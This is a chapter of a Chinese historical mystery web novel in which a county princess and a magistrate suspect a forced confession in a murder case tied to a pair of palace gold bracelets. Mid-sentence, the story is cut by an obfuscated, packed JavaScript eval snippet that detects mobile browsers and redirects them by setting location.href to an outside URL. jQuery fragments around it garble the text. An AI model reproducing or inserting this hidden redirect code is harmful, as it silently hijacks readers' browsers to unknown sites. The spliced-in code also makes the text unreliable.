5. 第 5 章
作品:《金镯录》 金聿不想要结案,能有缘由,他是自己主张要审查这个案子的,可是师婉平的坚持,就让人有些出乎意料了。县衙的茶是暖的,可是暖不了师婉平的心,金聿看着已经盯着桌子看了良久的师婉平,轻轻咳了咳,提醒师婉平从那些愁绪中抽离出来。
“县主,您已经盯着这只镯子,看了许久了。”金聿提醒道。
师婉平神色晃动,对金聿笑了笑:“抱歉,打扰金大人判案了。”
“县主可是觉得有什么不对?”
师婉平按住自己的想法,摇了摇头,她说:“人证物证皆在,尤樾也说他要和金锦私奔,眼下这案子送到了你的眼前,要帮你结案。这案子,哪里有什么不对?”
金聿听闻此话,便冷笑道:“我以为,县主是来帮我审案的,可现在看来,县主只像是来看热闹的。这案子疑点重重,那尤樾身上的伤口和眼神,分明有屈打成招的可能,县主这些都没有注意到吗?”
“金大人,”玲珑看了一眼金聿,“对县主说话,可要有分寸。”
方才金聿着急,这是质问师婉平的口吻。
“是啊,屈打成招,那么案子不能了结,可是若王至淳要草草了结,金大人该如何做?”师婉平循循善诱,一步一步问出这些话来。
应该要有人帮他稳住阵脚,为他拖延时间,让他能找到尤樾,说服尤樾。而能帮他稳住阵脚的人,那么只有师婉平。金聿灵机一动,他看向师婉平,这一切都说得通了,师婉平是在帮他,师婉平早就想到了这一点,而方才,金聿还在质问她。
心里有了那么一点点后悔,金聿眼中有了一些尴尬的神色,师婉平将这一切都看在心里,嘴角也微微上扬,端着茶盏送至嘴边,慢条斯理地品起茶,拿起腔调来。
“县主,我明白了,还是县主先我一步,我这就去找尤樾,弄清楚这其中的真相。”
师婉平点了点头:“可是我这一说,也拖不了多久。我刚来此地,要建立威信,要让这里的百姓相信我是站在他们这一边的,这才能让他们安居乐业。而此刻的我,不能靠着自己建立威信,而需要金大人,助我一臂之力,你我在此刻,是福祸相依的。”
他们是一条绳上的蚂蚱,是盟友,而非算计试探的对手。师婉平希望金聿明白,她也希望金聿能够保有自己的初心,真切地为她所用,眼下看来,金聿是一位良将。
“我明白,此番我回来,也是为了让百姓安宁,让人人有所依靠。”说到这里,金聿脸上露出了悲戚的神情,似乎是并未做到让百姓安宁,心中愧疚。师婉平尚不明白金聿为何如此,她并未在意,只当金聿是为了百姓。
“今日不能立刻去找,尤樾若真的是屈打成招,那么你就要避开王至淳的手下,悄悄进行。”师婉平总觉得不对,若是此事真如这么简单,那么王至淳大可不必这样急着要结案,越是着急,那么这其中就藏着许多的猫腻。
“金大人,”师婉平站起来,“叨扰你这么久了,我也该离开了,金大人也要自己想想,有什么好的法子,将这案子查下去。还有一事,我想要金大人通融。”
金聿本来还有些不信任师婉平,可是师婉平字字句句都透露着眼界的开阔,他对师婉平有些改观。他连忙站起来,对师婉平道:“县主,请吩咐。”
“这镯子,我想要拿回去,仔细看看,等到明日再送回县衙,你看如何?”
这镯子对师婉平很是重要,金聿隐约如此觉得。县主给了他许多的方便,能让他查案,也为他清扫安排住进了县衙,一个成谜的镯子而已,或许师婉平看了,能找到更多的不对。他说:“整个初霖县都是县主的,当然可以,等县主看好了,来人知会一声,我吩咐人去拿就可以了。”
师婉平颔首行礼,带着玲珑和那只镯子,回了自己的府邸。
春日的夜晚还有些凉意,尽管春花开遍,可是还不到赏景的最好时候。蜡烛将屋子烧得亮堂,烛花噼里啪啦作响,隐约摇晃。玲珑拿着剪子,剪掉了那多余的烛花,看向师婉平,师婉平此刻仍然盯着那镯子反复看着,玲珑不知道师婉平在想什么,她害怕师婉平走火入魔,便想着与师婉平说话,帮师婉平想一想是否能找到一些突破。
“县主,您盯着这镯子已经很久了,这镯子可是有什么不对的地方吗?”
“这只金镯子重得很,上头镶嵌着的珍珠宝石是专门进贡到宫中的东西,那纹路也是宫中特有的,你说王至淳的夫人,怎么会有这样的镯子?”师婉平将镯子交给了玲珑查看,玲珑双手接过来仔细看了,果然那上头的样式都是宫中特有的,而且还是宫中皇亲才能用的东西。
一个小小的县尉,嫁娶的夫人能有这样大的背景吗?
“这样看来,尤樾奸杀县尉夫人,倒也合理了,这镯子谁看了都想要抹走了的心思。”玲珑道。
“是啊,谁都想要抹走这镯子,尤樾想,那么王至淳不想吗?”若是这案子结了,那么这镯子要回到王至淳的手中,尤樾什么都得不到。哪里有这样愚蠢的人,要和自己的青梅竹马私奔,私奔不成将其奸杀,还要自己把性命送上门来。
既然早已奉送上性命的人,又为何要抓着那镯子不放呢?
师婉平扶额叹息:“这镯子,本来也应该是一对的,只出现了一只,也是蹊跷。哪里有人带着镯子,只戴一只的?”
玲珑认真想了想:“或许这镯子是县尉夫人的嫁妆,另一只在县尉那里呢。”
师婉平摇了摇头,她苦笑道:“玲珑,我要说我见过这镯子,你是不是会惊诧?”
“这镯子的样式虽然是宫中的样式,但是民间也有人仿着样式做的,县主确认这镯子是您见过的那只吗?”玲珑看出来了师婉平心中不愿意相信这一切,但是这样的希望有些渺茫,玲珑还是为师婉平找寻着那么一点希望。
“你去我随身带来的箱子里找一找,看看能不能找到这镯子。”
师婉平让玲珑去找,不一会儿,玲珑手捧着镯子来到了师婉平的身边。两只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094503|163689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镯子近乎一样,当师婉平将两只镯子打开,对上环扣的那一刻,师婉平的心也被锁住。
这就是一对的镯子,只是师婉平手中的镯子,更完好没有损伤的痕迹,而县尉夫人的这只镯子,却有着劳作磕碰的痕迹。县尉的夫人还要自己动手劳作吗,家中就无下人做事吗?
这镯子,一定就是县尉夫人的吗?
“县主,这镯子......”
“这镯子,是我父亲给我的,本不应该出现在县尉的手中。此事不是那么简单,要查,要让金聿找到真相查下去。”师婉平深呼吸了一口气,她脑海中还回想着父亲将这镯子交给她的时候,说的话。
父亲说,这镯子本是一对,这只与你,另一只若是现世,那么你一定要弄清楚找到这个镯子的主人。
师婉平找寻了很多年,她没想到这镯子竟然在初霖县。
这里并不简单,这里是龙潭虎穴。
但师婉平不害怕,此刻她更有了要在这里扎根的决心。
此时此刻,在新官邸住着的俞无求正展开纸张,手握着笔写字。他的身旁,自然有着俊美的小丫鬟为他研磨添香,好不惬意。站在桌案前的王至淳却是来回踱步,焦虑不安的样子。
“哎呀你别转了,我的头晕,这字是写不好的。”写字是头等大事,这是急不得的,最是要修养性情的。刚搬府邸,俞无求并没有什么不习惯的,新宅的府邸比县衙的还大些,书房更是宽敞,最适合练字修心。
“我如何能停下来啊,大人,您一定要帮帮我,不能见我被那一介女流和新来的毛头小子欺负啊。”王至淳在桌案前停下来,看着俞无求。
案子牵扯出王至淳,若是查下去,这其中的秘密都会被揭开,那到时候王至淳该如何混呢?他可是县衙中的人,若是被人知道他的夫人是为何而死,他这官就做不成了。
俞无求落下最后一笔,笔力用劲,他仔细看了看自己写的字,圆润饱满,十分满意。这时候俞无求才搁下笔,接过小丫鬟拿过来的帕子擦了擦手,帕子上染了一些黑墨,混着帕子本身的青白色,登时变得脏乱,但是俞无求的手是干净的。
“说说吧,你那夫人,是怎么死的。”
“大人,我也不想要我夫人死的,毕竟那样如花似玉的模样,那是个意外。”王至淳叹息,本来就是婆媳关系吵嚷上的公堂,王至淳觉得丢脸,将人拉回家中去好一通教训,终归是让她安生了不少,可是谁知道金锦竟然是个冥顽不灵的,表面听从,可是转头就要和离。
“您也知道的,我若是和离,在这城中是抬不起头来的,我自然是不愿意的。”王至淳手心搓捻着,自己也委屈得很。
“所以你就给自己扣了顶帽子,抓了尤樾来?”
“也不是抓,只是那尤樾从前就想要娶我夫人,他算什么东西,还想着我的夫人。成婚后,他也频频来我家门口,觊觎我夫人,我早就看他不爽了。”
“他们说不定,早有奸情也未可知。”